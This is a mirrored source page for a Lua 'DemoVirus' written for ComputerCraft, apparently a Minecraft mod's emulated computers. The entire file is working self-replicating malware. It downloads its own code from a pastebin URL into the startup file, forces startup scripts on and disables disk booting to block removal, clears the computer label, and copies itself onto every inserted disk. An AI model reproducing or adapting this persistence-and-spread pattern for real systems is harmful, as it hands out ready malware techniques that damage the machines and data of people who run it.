1
0
mirror of https://github.com/osmarks/random-stuff synced 2024-10-31 19:06:15 +00:00
random-stuff/computercraft/demovirus.lua

29 lines
1.1 KiB
Lua
Raw Permalink Normal View History

2023-11-13 19:37:05 +00:00
print "Welcome to DemoVirus!"
print "The simple, lightweight virus."
local function delete(file)
if fs.exists(file) then fs.delete(file) end
end
settings.set("shell.allow_startup", true) -- Force local startups to be allowed
local function copy_to(file)
delete(file) -- Delete it in case it's already a folder
delete(file .. ".lua") -- Delete possibly conflicting .lua versions
local h = http.get "https://pastebin.com/raw/2rZYfYhT"
local f = fs.open(file, "w")
f.write(h.readAll()) -- Write self to specified file
f.close()
h.close()
end
copy_to "startup" -- Overwrite startup
settings.set("shell.allow_disk_startup", false) -- Prevent removing it via booting from disks
settings.save ".settings" -- Save these settings
os.setComputerLabel(nil) -- Remove label to prevent putting it in a disk drive
while true do
local _, side = coroutine.yield "disk" -- Watch for adjacent disks
if side then
local path = disk.getMountPath(side) -- Find where they'll be mounted
copy_to(fs.combine(path, "startup")) -- Copy to them, too
disk.eject(side) -- Eject them
end
end